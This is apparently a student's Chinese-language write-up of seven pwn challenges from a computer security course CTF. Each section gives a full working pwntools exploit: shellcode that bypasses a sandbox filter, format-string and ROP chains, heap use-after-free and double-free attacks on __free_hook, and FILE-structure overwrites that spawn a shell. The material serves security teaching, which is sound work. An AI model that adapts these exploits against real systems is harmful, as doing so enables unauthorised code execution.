---
# System prepended metadata

title: HW0x04 Writeup (Pwn)
tags: [Computer Security]

---

###### tags: `Computer Security` 

# HW0x04 Writeup (Pwn)

[TOC]

## 1. sandbox

題目會讀取我們傳送的Shellcode並執行，但在執行前會檢查是否含有syscall和call register的pattern，而提示有說要的東西其實題目已經給我們了

先塞一些nop給server，看看執行的情況:

其實當初用了一陣子才知道call rax這邊可以step in進去 就可以看到自己的shellcode，下面source code箭頭指的位置會混淆XD
![](https://i.imgur.com/9tS2lzT.png)

發現syscall，但是執行之前被塞了exit(3c=60, 對應exit)

![](https://i.imgur.com/HKl6Oku.png)

所以目標是要跳過前面塞3c的地方，在syscall之前塞59(execve)，然後跳過去

用pwntools給的shellcraft來改:

```asm=
push 0x68;
mov rax, 0x732f2f2f6e69622f;
push rax;
mov rdi, rsp;
push 0x1010101 ^ 0x6873;
xor dword ptr [rsp], 0x1010101;
xor esi, esi;
push rsi;
push 8;
pop rsi;
add rsi, rsp;
push rsi; <---- this will crash
mov rsi, rsp;
xor edx, edx;
push SYS_execve;
pop rax;
syscall;
```
把裡面的syscall換成```jmp $+X```就可以跳過原本放0x3c那行，算一下X要多少才能跳到後面syscall

實際執行時發現12行的push rsi會crash，不太確定原因，不過就先刪掉

目標是要算X跳過0x3c那行到syscall去

![](https://i.imgur.com/XYv1rZP.png)

隨便設個X看看執行情形，可以知道X應該要代9:
![](https://i.imgur.com/ndY1IeN.png)

所以最後把```syscall```換成```jmp $+9```就可以了
![](https://i.imgur.com/ybILV1s.png)

### exploit:
:::spoiler
```python=
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

#r = process("./sandbox")
r = remote("edu-ctf.zoolab.org", 30202)

shell = asm('''
push 0x68;
mov rax, 0x732f2f2f6e69622f;
push rax;
mov rdi, rsp;
push 0x1010101 ^ 0x6873;
xor dword ptr [rsp], 0x1010101;
xor esi, esi;
push rsi;
push 8;
pop rsi;
add rsi, rsp;
mov rsi, rsp;
xor edx, edx;
push SYS_execve;
pop rax;
jmp $+9;
''')

#gdb.attach(r)
r.send(shell)
r.interactive()
```
:::





:::success
:triangular_flag_on_post: FLAG{It_is_a_bad_sandbox}
:::


#### 追記
本來查了一些用xor、運算之類的方法繞過檢查syscall的payload結果進去都是crash，後來覺得應該只是當初需要改一下裡面的內容之類的就能動了(吧)。後來得知shellcode後面就有syscall，就直接用了

---

## 2. fullchain

詢問助教後發現自己的方式不是intended solution，但前半段的手法基本上跟預期解差不多

source這邊有個漏洞，可以利用這邊的```printf```回寫
```c=
void mywrite(char *addr)
{
    printf(addr);
}
```

chal()這裡也有地方可以利用，後面的```strcmp()```最多只會看五個字，而local可以寫到10個字，所以可以在字串後頭多塞東西
```c=
printf("set, read or write > ");
scanf("%10s", local);

if (!strncmp("set", local, 3))
    myset(ptr);
else if (!strncmp("read", local, 4))
    myread(ptr);
else if (!strncmp("write", local, 5))
    mywrite(ptr);
else
    exit(1);
```

提示說一開始需要先把cnt改大，所以需要先知道cnt的address，然後再利用剩下的次數回寫cnt的值

![](https://i.imgur.com/IPbNNzu.png)

設斷點後配著gdb看再計算一下可以知道cnt的位置，我是用```write%7$p```來讀，然後再扣掉```0xc```

如果要改cnt的值，就需要把cnt的address寫到stack上，而```myread()```會讀24個字，可以利用這點把Address寫到之後操作不會被蓋掉的地方
```c=
void myread(char *addr)
{
    scanf("%24s", addr);
}
```
在```mywrite()```的printf前設斷點看stack的狀態會知道剛剛寫的address在`rsp+0x50`的地方，所以是(rsp)6+0x50/8=第16個參數
所以第三次執行時輸入```write%16$n```就可以在符合local 10個字限制的條件下寫掉cnt的值，而cnt的值因為write五個字，所以會被寫成5

![](https://i.imgur.com/uIzuoSD.png)

改成5後，可以配合global，利用這5次把cnt寫到更大。
一樣的手法可以接著把global的address leak出來，然後從而推算出想要利用的東西的address。我利用到的有:
* exit@got
* main()的return
* puts@got
* printf@got

原先是照著提示，利用把`exit@got`寫成main的return來bypass(不過最後好像沒有使用到的樣子)。leak `printf@got`則是為了把libc的位址leak出來。

(從這裡開始算是非預期解)

因為可以利用fmt任意寫，而global變數後面是空的，所以我把ROP chain堆在那裏(假設叫ROP A)，希望可以讓程式在某個階段跳轉過去。但為了觸發跳轉，需要再寫一個ROP到stack裡。
利用(1)fmt任意寫 (2)知道cnt位置這兩個特性，可以在stack內找一塊空出來的地方，把**跳轉到讀flag的ROP**的ROP(假設叫ROP B)寫在上面。
那觸發跳轉的ROP需要寫什麼呢? libc內有`add rsp, 0x?? ; ret` 這種gadget可以使用，把`puts@got`的address改成這種gadget，到`myset`觸發`puts()`時轉到ROP B，然後ROP B就可以跳轉到ROP A，進而讀flag。


附上圖解，其中紅色的empty space是ROP B，藍色則是global變數後的空地，把ROP A寫到這裡。
![](https://i.imgur.com/XLLm1EX.png)

這種方法的問題有幾個:
* `add rsp, 0x?? ; ret` 這種gadget不是每種數值都有
* stack內空間有限
* 就算stack內有空間，`add rsp, 0x??`的值也必須配合才行

empty space不一定要在`chal()`內，主要是上面的三點問題需要有辦法解決，而這題剛好可以滿足這些條件。事實上我把ROP B寫到了main的stack底下。

整個流程如下:
* find a suitable ?? for `add rsp, 0x?? ; ret` gadget 
* write ROP B to a corresponding empty space inside stack
* overwrite `puts@got` to the gadget
* execute `puts()` to trigger gadget，jump to ROP B
* ROP B jumps to ROP A
* read flag

### exploit:
:::spoiler
```python=
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'

libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

r = process("./fullchain")
#r = remote('edu-ctf.zoolab.org', 30201)

def write_byte(content, target_addr, byte):
    for i in range(byte):
        pl = content[i]
        if pl == 0:
            continue
        payload = "%" + str(pl) + "c%16$hhn"
        r.sendlineafter("global or local > ", "global")
        r.sendlineafter("set, read or write > ", "read")
        r.sendline(payload)
        r.sendlineafter("global or local > ", "local")
        r.sendlineafter("set, read or write > ", "read")
        r.sendline(b"A"*16+(target_addr+i).to_bytes(8, byteorder="little"))
        r.sendlineafter("global or local > ", "global")
        r.sendlineafter("set, read or write > ", "write")

def write(content, target_addr, byte):
    for i in range(byte):
        #print(i)
        if i == 0 :
            # first byte
            r.sendlineafter("global or local > ", "global")
            r.sendlineafter("set, read or write > ", "read")
            pl = int(hex(content)[-2:], base=16)
            payload = "%" + str(pl) + "c%16$hhn"
            r.sendline(payload)
            r.sendlineafter("global or local > ", "local")
            r.sendlineafter("set, read or write > ", "read")
            r.sendline(b"A"*16+target_addr.to_bytes(8, byteorder="little"))

            r.sendlineafter("global or local > ", "global")
            r.sendlineafter("set, read or write > ", "write")
        else:
            r.sendlineafter("global or local > ", "global")
            r.sendlineafter("set, read or write > ", "read")
            pl = int(hex(content)[-2*i-2:-2*i], base=16)
            payload = "%" + str(pl) + "c%16$hhn"
            r.sendline(payload)
            r.sendlineafter("global or local > ", "local")
            r.sendlineafter("set, read or write > ", "read")
            r.sendline(b"A"*16+(target_addr+i).to_bytes(8, byteorder="little"))

            r.sendlineafter("global or local > ", "global")
            r.sendlineafter("set, read or write > ", "write")


r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "write%7$p")

r.recvuntil("write")
cnt = int(r.recv(14).decode(), base=16) - 0xc
info(f"cnt: {hex(cnt)}")

# change cnt to 5
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+cnt.to_bytes(8, byteorder="little"))
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "write%16$n")

# change cnt to 2000
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"%2000c%16$hn")

r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+cnt.to_bytes(8, byteorder="little"))

r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")

#leak global address (same address base as exit@got)
r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"%7$p")

r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")

global_addr = int(r.recv(14).decode(), base=16)
info(f"global_addr: {hex(global_addr)}")

exit_got = global_addr - 0x40
info(f"exit_got: {hex(exit_got)}")

puts_got = global_addr - 0x80
info(f"puts_got: {hex(puts_got)}")

printf_addr = global_addr - 0x68
info(f"printf_addr: {hex(printf_addr)}")

#try to read printf addr to get libc address
r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"A"*16+printf_addr.to_bytes(8, byteorder="little"))

r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"%16$s")

r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "write")

libc.address = u64(r.recv(6).ljust(8, b'\x00')) - libc.sym['printf']
info(f"libc_addr : {hex(libc.address)}")

close_addr = libc.sym['close']
info(f"close_addr : {hex(close_addr)}")

main_ret_addr = global_addr - 0x28b5
info(f"main_ret_addr : {hex(main_ret_addr)}")

# write exit@got to main ret addr
write(content = main_ret_addr, target_addr = exit_got, byte=6)

fn = global_addr
new_stack_addr = global_addr + 0x80

### libc gadget
pop_rbp_ret = libc.address + 0x256c0 # pop rbp ; ret
pop_rdi_ret = libc.address + 0x26b72 # pop rdi ; ret
pop_rsi_ret = libc.address + 0x27529 # pop rsi ; ret
pop_rdx_r12_ret = libc.address + 0x11c371 # pop rdx ; pop r12 ; ret
pop_rax_ret = libc.address + 0x4a550 # pop rax ; ret
syscall_ret = libc.address + 0x66229 # syscall ; ret
leave_ret = libc.address + 0x5aa48 # leave ; ret
add_rsp_0x98_ret = libc.address + 0x27272 # add rsp, 0x98, ret;

rop_trigger_addr = cnt + 0x4c
info(f"rop_trigger_gadget: {hex(rop_trigger_addr)}")

# open("/home/rop2win/flag", 0) 0: readonly 
# syscall number of open: 2 (rax)
# https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

# read(3, fn, 0x30)N
# syscall number of read: 0 (rax)
# 0: std_in, 1: std_out, 2: std_error #3 from file

# write(1, fn, 0x30) <- 1: write to std_out
# syscall number of write: 1 (rax)

ROP_trigger = flat(
    pop_rbp_ret, global_addr + 0x80 - 8,
    leave_ret,
)

write(content = add_rsp_0x98_ret, target_addr = puts_got, byte=6)
write_byte(ROP_trigger, rop_trigger_addr, len(ROP_trigger))

ROP = flat(
    pop_rdi_ret, fn,
    pop_rsi_ret, 0,

    pop_rax_ret, 2,
    syscall_ret,

    pop_rdi_ret, 3,
    pop_rsi_ret, fn,
    pop_rdx_r12_ret, 0x30, 0,
    pop_rax_ret, 0, 
    syscall_ret,

    pop_rdi_ret, 1,
    pop_rax_ret, 1,
    syscall_ret,
)
write_byte(ROP, global_addr+0x80, len(ROP))

r.sendlineafter("global or local > ", "global")
r.sendlineafter("set, read or write > ", "read")
r.sendline(b"/home/fullchain/flag")

r.sendlineafter("global or local > ", "local")
r.sendlineafter("set, read or write > ", "set")
r.sendlineafter("data > ", "100")
r.sendlineafter("length > ", "100")

#gdb.attach(r)
r.interactive() 
```
:::

:::success
:triangular_flag_on_post: FLAG{Emperor_time}
:::


---

## 3. fullchain-nerf

基本上完全能用`fullchain`這題的方式做，實際上只是把fmt參數、offset位置，還有`add rsp gadget`改一改就能用了。`myset()`被拔掉了但`myread()`裡還是有`puts()`所以沒有差

實際上從提示上來看這題有更簡單方便的解法，但時間關係直接拿上一題的exploit來改還是比較快XD

:::success
:triangular_flag_on_post: FLAG{fullchain_so_e4sy}
:::

---

## 4. final

因為easyheap的解法跟這邊的method 3差不多，所以這邊寫method 1

首先，第一個被丟到unsorted bin的chunk會指向main arena，又因為source中name是用read來讀，可以不需要用\x00 結尾，所以只要剛好把name寫到libc的位置前，就可以一併把libc印出來

![](https://i.imgur.com/DF4h2IE.png)

UAF則可以leak出tcache的fd，此題animals[1]是tcache的頭，所以fd會指向heap。

![](https://i.imgur.com/TlwsPv7.png)

這個時候後的bin情形如圖，而animals[0]的位置是`~b40`:

![](https://i.imgur.com/impAv4n.png)

這時只要再buy一個name的chunk size為0x30的animal，這個name就會與animals[0]的位置相同，所以可以藉由寫animals[1]的name來控制animals[0]

在此寫入system和/bin/sh，呼叫animals[0]時就會get shell。

```python=
# 
#    - type: b'/bin/sh\x00' + b'A'*0x8
#    - len: 0xdeadbeef
#    - name: 0xdeadbeef
#    - bark: system
buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) + 
    p64(0xdeadbeef) + p64(_system))
# 3. get shell
play(0)
```

:::success
:triangular_flag_on_post: FLAG{do_u_like_heap?}
:::
### Reference:
1. https://hackmd.io/@u1f383/pwn-cheatsheet (助教的cheatsheet XD)

---

## 5. easyheap

### (1) leak libc and heap address:

由Reference#1的malloc過程:

* 合併(consolidate) fastbin : 
    * (若 size 符合 large bin 或前項失敗)呼叫 malloc_consolidate 進行 fastbin 的合併(取消下一 chunk 的 PREV_INUSE)，並將合併的 bin 歸入 unsorted
* 處理 unsorted bin :
    * 若 unsorted bin 中只有 last_remainder 且大小足夠，分割 last_remainder 並return chunk。剩下的空間則成為新的 last_remainder
    * loop 每個 unsorted bin chunk，若大小剛好則 return，否則將此 chunk 放至對應 size 的 bin 中。此過程直到 unsorted bin 為空或 loop 10000次為止
    * 在 small / large bin 找 best fit，若成功則 return 分割的 chunk，剩下的放入 unsorted bin（成為 last_remainder）；若無，則繼續 loop unsorted bin，直到其為空

讓tcache塞滿，再delete一塊0x80的chunk
此時struct本身(0x30)，name(0x80)兩個chunk會被丟到fastbin
接著要一塊0x420的chunk，就會觸發malloc的consolidation，把fastbin的兩個chunk merge並放到unsorted bin，接著malloc會把合併的chunk放到對應size的bin(smallbin，size為0xb0)，因為smallbin內只有一個，所以fd 和 bk會是libc的位置，而其他Book則洩漏了heap的位置。
會發現地址會出現在Index上

![](https://i.imgur.com/5aPeq25.png)

這時可以用vmmap算一下offset，得到libc和heap的地址

### (2) exploit

可以發現books[1]的name跟books[0]整個結構的位置相同

![](https://i.imgur.com/LGi94qJ.png)

此時的bins情況如圖所示，目標是要操控0x30尾巴的兩個chunk

![](https://i.imgur.com/zp5oKLj.png)

先整理一下tcache，塞一些dummy讓他剩下尾巴的幾個
這裡我塞了兩個name為0x20的book，包含Book本身會需要4個0x30的chunk

![](https://i.imgur.com/UbELyz9.png)


接著再加一個name為0x20的book(Books[12])，這本book的name會要到`~350`這個chunk，也就是原本Books[1]指的位置，這裡先把name指定為`heap+0x2a0`，原因後述
```c=
books[idx] = (Book *) malloc(sizeof(Book));
books[idx]->name = malloc(namelen);
```
要bypass double free的保護機制，可以藉由修改Books[1]的name來達成，而因為
(1)Books[12]的name位置會跟Book[1]一樣
(2)修改Books[1]時會去找books[1]->name
所以上面新增Books[12]時name需要指定為`heap+0x2a0`，才會access到我們想要的memory
可以藉由修改Books[1]的name來bypass是因為Books[1]的name跟Books[0]結構一樣，
改名字時可以蓋掉tcache中的key
蓋掉之後:
![](https://i.imgur.com/WGrM7dd.png)

接下來就可以delete Books[1]了，再看一次Books[1]的位置:

![](https://i.imgur.com/wQiJuhj.png)

tcache entry中的`~2a0`的key已經被改掉了，所以這邊就可以繞掉檢查

delete後:

![](https://i.imgur.com/N2pKuiI.png)

可以注意到0x30裡面有兩個`~2a0`了，表示double free成功。但因為delete book除了name以外還會free struct本身，所以tcache`0x30`內從1個變成3個

但我們只要最後兩個`~2a0`而已，所以再塞一個dummy，這時要保留0x30的chunk，所以在此name len用0x80的

![](https://i.imgur.com/tVdpP1R.png)

到這邊就差不多了。edit Books[0]，把名字改成free hook

![](https://i.imgur.com/0BGoEH4.png)

再add一次name的chunk size是0x30的Books時，這本Book的name就會要到hook的位置，就在上面寫system
![](https://i.imgur.com/ATDxpu2.png)

然後delete他，free name時就會觸發hook，成功get shell :tada: 

### exploit:
:::spoiler
```pyhon=
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'

#r = process('./easyheap')
r = remote('edu-ctf.zoolab.org', 30211)

def add(idx, namelen, name, price):
    r.sendlineafter("> ", '1')
    r.sendlineafter('Index: ', str(idx))
    r.sendlineafter('Length of name: ', str(namelen))
    r.sendlineafter('Name: ', name)
    r.sendlineafter('Price: ', str(price))

def delete(idx):
    r.sendlineafter("> ", '2')
    r.sendlineafter("Which book do you want to delete: ", str(idx))

def find(idx):
    r.sendlineafter("> ", '5')
    r.sendlineafter("Index: ", str(idx))

def edit(idx, name, price):
    r.sendlineafter("> ", '3')
    r.sendlineafter("Which book do you want to edit: ", str(idx))
    r.sendlineafter('Name: ', name)
    r.sendlineafter('Price: ', str(price))

def list():
    r.sendlineafter("> ", '4')
    #r.recvuntil("> ")
    
##########################LEAK LIBC AND HEAP ADDRESS#############################

for i in range(7):
    add(i, 0x70, 'dum', i)

add(7, 0x70, 'AAA', 777)
add(8, 0x70, 'BBB', 888)

for i in range(7):
    delete(i)

delete(7)
add(9, 0x410, 'DDD', 10)
delete(8)
list()

r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")

r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")
r.recvuntil("--------------------")

r.recvuntil("Index:\t")

libc = int(r.recvline().decode()) - 0x1ebc80
info(f"libc: {hex(libc)}")
_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
one_shot = libc + 0xe6c84
binsh = libc + 0x1b75aa

r.recvuntil("--------------------")
r.recvuntil("Index:\t")

heap = int(r.recvline().decode()) - 0x10
info(f"heap: {hex(heap)}")

r.recvuntil("--- happy bookstore ---")

#############################EXPLOIT##################################

add(10, 0x20, 'dummy', 11)
add(11, 0x20, 'dummy', 12)

add(12, 0x20, p64(heap+0x2a0), 11)

edit(1, "A"*16, 10000)

delete(1)

add(13, 0x70, 'dummy', 12)

edit(0, p64(__free_hook - 8), 999)

add(14, 0x20, b'/bin/sh\x00' + p64(_system), 999)

delete(14)
#gdb.attach(r)

r.interactive()

```
:::

:::success
:triangular_flag_on_post: FLAG{to_easy...} (是不是拼錯)
:::
### Reference:
1. https://hackmd.io/@sysprog/c-memory?type=view#glibc-%E7%9A%84-mallocfree-%E5%AF%A6%E4%BD%9C

#### 追記
感謝助教一步一步帶我搞懂final那題的整個流程，搞懂之後就比較了解該怎麼做這題了。可是還是覺得沒有很easy QQ
因為下一題beeftalk用來leak heap和libc的方法差不多，可能這題有更簡單的leak方法只是我沒用到(吧)

---

## 6. beeftalk

這題我純粹用建立/刪除user的bug來做exploit

leak出heap和libc address的方法跟上一題基本上一樣。塞滿tcache，想辦法讓他塞chunk到smallbins裡就可以了。user struct的有不少屬性，所以處理起來有一點亂就是。但幾乎都是利用名字長度可控這點來做的。

leak完需要的資訊後，可以發現有一個user的名字的位置(users[0])跟某位user(users[6])整個結構的位置是一樣的，那就可以利用更新users[0]的名字來寫users[6]。

![](https://i.imgur.com/7aUddv1.png)

觀察一下users這個struct:

![](https://i.imgur.com/48VZW4z.png)

圖解:

![](https://i.imgur.com/ZSshGni.png)

這裡的目標是藉由delete users[6]觸發free hoook來get shell。

在free user時，同時也會free掉desc, job之類的指到的位置，所以在利用改寫`users[0]->name`來更改`users[6]`的時候，必須要寫一些有意義的address，才不會在delete `users[6]`時噴Error，另外如果要delete `users[6]`必須要有辦法登入才行，所以token的值也需要設定好。

整個exploit的流程如下:

1. update `users[0]->name`，把`users[6]->desc`的位置改成`free hook -8`
2. 登入users[6]並update，把desc改成`b'/bin/sh\x00' + p64(_system)`
3. delete `users[6]`，使他在free desc時觸發free hook
4. get shell

### exploit:
:::spoiler

```python=
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'

r = process('./beeftalk')
#r = remote('edu-ctf.zoolab.org', 30207)

def signup(name, desc, job, asset):
    r.sendlineafter("> ", '2')
    #max 0x100
    r.sendlineafter("What's your name ?\n> ", name)
    #0x40
    r.sendlineafter("What's your desc ?\n> ", desc)
    #0x10
    r.sendlineafter("What's your job ?\n> ", job)
    r.sendlineafter("How much money do you have ?\n> ", str(asset))
    r.sendlineafter("Is correct ?\n(y/n) > ", "y")
    r.recvuntil("Done! This is your login token: ")
    token = r.recvline().decode().strip('\n')
    return token

def login(token):
    r.sendlineafter("> ", '1')
    r.sendlineafter("Give me your token: \n> ", token)

def delete_account(token):
    r.sendlineafter("> ", '3')
    r.sendlineafter("Are you sure ?\n(y/n) > ", 'y')

def logout(token):
    r.sendlineafter("> ", '4')

def update(token, name, desc, job, asset):
    r.sendlineafter("> ", '1')
    r.sendlineafter("Name: \n> ", name)
    r.sendlineafter("Desc: \n> ", desc)
    r.sendlineafter("Job: \n> ", job)
    r.sendlineafter("Money: \n> ", str(asset))


dummy0_token = signup("A"*0x80, "dummy", "dummy", 1)
info(f"dummy0_token: {dummy0_token}")

dummy1_token = signup("B"*0x80, "dummy", "dummy", 1)
info(f"dummy1_token: {dummy1_token}")

dummy2_token = signup("C"*0x80, "dummy", "dummy", 1)
info(f"dummy2_token: {dummy2_token}")

dummy3_token = signup("D"*0x80, "dummy", "dummy", 1)
info(f"dummy3_token: {dummy3_token}")

dummy4_token = signup("E"*0x80, "dummy", "dummy", 1)
info(f"dummy4_token: {dummy4_token}")

dummy5_token = signup("F"*0x80, "dummy", "dummy", 1)
info(f"dummy5_token: {dummy5_token}")

dummy6_token = signup("G"*0x80, "dummy", "dummy", 1)
info(f"dummy6_token: {dummy6_token}")

dummy7_token = signup("H"*0x80, "dummy", "dummy", 1)
info(f"dummy7_token: {dummy7_token}")

login(dummy0_token)
delete_account(dummy0_token)

login(dummy1_token)
delete_account(dummy1_token)

login(dummy2_token)
delete_account(dummy2_token)

login(dummy3_token)
delete_account(dummy3_token)

login(dummy4_token)
delete_account(dummy4_token)

login(dummy5_token)
delete_account(dummy5_token)

login(dummy6_token)
delete_account(dummy6_token)

login(dummy7_token)
delete_account(dummy7_token)

dummy8_token = signup("I"*0x60, "dummy", "dummy", 1)
info(f"dummy8_token: {dummy8_token}")
info(f"dummy0_token: expired.")

login(dummy1_token)
r.recvuntil("Hello ")
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x2a0
info(f"heap: {hex(heap)}")
logout(dummy1_token)

login(dummy3_token)
r.recvuntil("Hello ")
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebc10
info(f"libc: {hex(libc)}")
logout(dummy3_token)

_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
one_shot = libc + 0xe6c84
binsh = libc + 0x1b75aa

#############################################################

#user struct
#name pointer   desc pointer
#job pointer    pipe_name pointer
#fifo0 pointer  fifo1 pointer
#namelen        token value
#asset

login(dummy8_token)

update(dummy8_token,
name = p64(heap+0x880)+p64(__free_hook - 8)+
       p64(heap+0x880)+p64(0x0)+
       p64(0x0)+p64(0x0)+
       p64(0x10)+p64(int(dummy6_token, base=16)), 
       desc='dummy', job='dummy', asset=1)
logout(dummy8_token)

login(dummy6_token)
update(dummy6_token, 
       name = b'dummy', desc=b'/bin/sh\x00' + p64(_system), 
       job='dummy', asset=1)
delete_account(dummy6_token)

#gdb.attach(r)
r.interactive()
```
:::

:::success
:triangular_flag_on_post: FLAG{beeeeeeOwO}
:::

#### 追記
一打開source code發現350行有點嚇到直接先略過不看XD 幸好似乎沒有想像中難

---

## 7. FILE note

在做任何利用前必須先leak出libc才有辦法做，從提示和各參考資料得知，如果讓他進入
`_IO_POS_BAD`這裡的話，程式就會輸出`[_IO_write_base,_IO_write_ptr]`間的所有數據，將輸出將FILE的flags那行設成`fbad1800`的話就可以leak出來，再經過計算就可以得到libc base。
(事實上直接google`0xfbad1800`或`0xfbad1887`也能看到蠻多leak libc的資料)

![](https://i.imgur.com/xSNYK5g.png)

接下來的目標是利用fwrite將one gadget寫到vtable中的一個pointer，讓他在call該function()時變成開shell。

那問題就是該如何利用fwrite做任意寫了，由Reference#3:

```c=
else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
    把data複製到buffer
}
```
```
fwrite的任意寫是基於_IO_new_file_xsputn中將數據複製到buffer這一功能實現的。
所以我們只要構造
_IO_write_ptr為write_s，
_IO_write_end為write_e，
自然就滿足了if的條件，這樣就達到了任意寫的目的。
```

實際上蓋完大概會長這個樣子，配著memory layout對照，`~4c8`會是fwrite複製data存到的起點，而`~4d0`是終點。

![](https://i.imgur.com/Nws0nFC.png)

![](https://i.imgur.com/09EAYzi.png)

最後還有一個問題是應該要挑vtable裡的哪個function以及one gadget要用哪一個，這部分我沒什麼特別的好方法，就把每種組合都試試看，最後發現`_IO_default_uflow(_IO_file_jumps+0x28`配上`r15,  rdx==NULL constraint`的one gadget可以work

![](https://i.imgur.com/r7e7Jsb.png)

實際跑remote的時候發現leak出來的libc base怪怪的...不過多save_note幾次出來的值就正常了，~~老實說我不知道為什麼~~

### exploit:
:::spoiler
```python=
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.encoding = 'ASCII'

l = ELF('./libc.so.6')

r = process('./chal')
#r = remote('edu-ctf.zoolab.org',30218)

r.sendlineafter("> ", "1")

flags_IO_CURRENTLY_PUTTING = 0x0800
flags_IO_IS_APPENDING = 0x1000

r.sendlineafter("> ", "2")

r.sendlineafter("data> ", b"A"*0x200 + p64(0) + 
                p64(0x1e1) + p64(0)*14 + p64(1)) 

r.sendlineafter("> ", "3")

r.sendlineafter("> ", "2")

r.sendlineafter("data> ", b"A"*0x200 + p64(0) + 
                p64(0x1e1)+ p64(0xfbad1800) + p64(0)*3)

r.sendlineafter("> ", "3")

# uncomment for remote
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")
# r.sendlineafter("> ", "3")

r.recv(0x80)
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecf60
_IO_FILE_jumps  = libc + l.sym['_IO_file_jumps']
info(f"libc: {hex(libc)}")
info(f"_IO_FILE_jumps: {hex(_IO_FILE_jumps)}")

one_gadget = libc + 0xe6c81 #one_gadget libc.so.6
#one_gadget = libc + 0xe6c81 #one_gadget libc.so.6
#one_gadget = libc + 0xe6c84 #one_gadget libc.so.6
info(f"one_gadget: {hex(one_gadget)}")

w_payload = flat(
    0, 0,
    0, _IO_FILE_jumps + 0x28, 
    _IO_FILE_jumps + 0x30, 0,
    0, 0,
    0, 0,
    0, 0,
    0)

r.sendlineafter("> ", "2")
r.sendlineafter("data> ",  b"A"*0x200 + p64(0) + p64(0x1e1) + 
                p64(0xfbad2000) + p64(0) + w_payload)

r.sendlineafter("> ", "2")
r.sendlineafter("data> ", p64(one_gadget))
#gdb.attach(r)
r.sendlineafter("> ", "3")

'''
execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL
'''

r.interactive()
```
:::

:::success
:triangular_flag_on_post: FLAG{f1l3n073_15_b3773r_7h4n_h34pn073}
:::
### Reference:
1. https://www.cjovi.icu/pwnreview/1171.html
2. https://n0va-scy.github.io/2019/09/21/IO_FILE/
3. https://www.anquanke.com/post/id/194577
4. https://tttang.com/archive/1279/



#### 追記
最後發現跑remote libc位置不對好像有點矇到XD 如果沒延期的話這題一定來不及做完QQ


